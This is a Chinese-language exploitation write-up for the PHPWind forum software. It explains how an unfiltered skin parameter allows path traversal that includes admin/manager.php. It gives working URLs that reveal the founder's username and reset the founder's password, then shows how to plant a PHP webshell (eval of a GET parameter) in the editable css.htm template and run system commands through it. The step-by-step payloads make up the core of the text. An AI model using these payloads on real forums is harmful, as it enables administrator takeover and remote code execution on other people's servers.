PHPWIND 论坛曾作为 PHP 社区中备受青睐的建站工具，以美观的界面和全面的功能著称。然而，深入分析后可发现，其界面风格与代码逻辑均与 DISCUZ 高度相似，这主要源于 DISCUZ 更早的诞生时间。遗憾的是，PHPWIND 在安全性方面未能继承 DISCUZ 的严谨传统。DISCUZ 对安全问题极为重视，在国内论坛市场中，无论是在功能还是安全层面，DISCUZ 均稳居领先地位。尽管 PHPWIND 代码结构严密、逻辑清晰，但仍存在数个严重的安全漏洞。
一、skin 变量未过滤引发的管理员密码篡改漏洞
漏洞分析正式开始。核心问题存在于 header.php 文件的以下代码中：
!function_exists('readover') && exit('Forbidden');
if (!$skin) $skin=$db_defaultstyle;
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}else{
include_once(R_P."data/style/wind.php");
}
$yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';
if($groupid=='guest' && $db_regpopup=='1'){
$head_pop='head_pop';
} else{
$head_gotmsg=$winddb['newpm']==1 ? ' 您有新消息 ':' 短消息 ';
}
require_once(PrintEot('css'));
require_once(PrintEot('header'));
?>$skin 变量由用户提交，在到达该代码前仅经过一次处理：
$_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];该判断逻辑为：若 Cookie 中已存在 skinco 信息，则从 Cookie 取值以实现个性化页面风格。若 Cookie 中无此值，用户直接提交的 skin 变量将原样传递至漏洞代码。有人可能疑问：若系统关闭 register_globals 怎么办？实际上，global.php 中的代码解决了这一问题：
if(!ini_get('register_globals') || !get_magic_quotes_gpc()){
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
@extract($_FILES,EXTR_SKIP);
}系统在 global.php 中主动释放变量，因此通过 GET 或 POST 方法均可将精心构造的 skin 变量传递给程序。那么，传递后能做什么？这正是漏洞的关键所在。
再看这段：
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}...逻辑清晰：若文件 R_P."data/style/$skin.php" 存在，则将其包含。此处不逐一分析所有利用方式，直接给出最直接且危害最大的方法。
将 skin 的值设置为 "../../admin/manager" 后，路径变为 R_P."data/style/../../admin/manager.php"。该文件为论坛管理用户程序，负责修改 sql_config.php，其中包含论坛创始人的用户名和密码等敏感数据。通过构造相应参数，可直接修改创始人密码并登录后台。在修改前，可先查看创始人用户名。
查看方法如下（可对照论坛程序自行分析，不再赘述）：
https://localhost/phpwind/faq.php?skin=../../admin/manager&tplpath=admin（截图略）需注意，tplpath 变量必须设置为 admin，该变量为模板路径，参数错误则无法显示。
看到用户名后，即可修改密码：
https://localhost/phpwind/faq.php?skin=../../admin/manager&username=admin&password=xiaohua&check_pwd=xiaohua&action=go参数含义清晰明了。username 需填写上述查看到的用户名，password 和 check_pwd 设置新密码。构造原理简单：只需提交 manager.php 所需变量，无关变量无需处理。注意 action 参数必须有值。提交后系统无提示，但再次使用查看方法即可发现密码已变更，表明修改成功。如图2所示：
密码修改完成后，可通过管理页面登录：
https://localhost/phpwind/admin.php二、后台利用——上传 WebShell
修改管理员密码后已能控制论坛，但上传 WebShell 才能实现完全掌控。如何上传？需利用后台功能。PHPWIND 似乎赋予管理员过大权限，或认为无人能进入后台，导致后台权限极为强大。实际上，即使不利用上述漏洞，通过跨站脚本攻击获取管理员密码也相对容易，设计者对此考虑不足。
此处选取一个危害较大的功能——风格模板设置。点击左侧链接后，右侧显示 /template/wind/css.htm。该功能允许管理员任意编辑 CSS 文件以自定义论坛界面。论坛运行时会 include 该 CSS 文件，尽管扩展名为 .htm，但仍会像 PHP 文件一样执行。若能在 css.htm 中写入 PHP 代码，即相当于创建 WebShell。方法简单：将右侧 textarea 的内容替换为以下代码并提交：
eval($_GET[myphpcode]);
?>用户也可自行构造，但上述方法经实验验证成功率较高。
保存之后，通过以下方式利用：
https://localhost/phpwind/faq.php?myphpcode=echo%20system(dir);exit ;通过此方式可执行其他 PHP 语句，此处不再赘述。
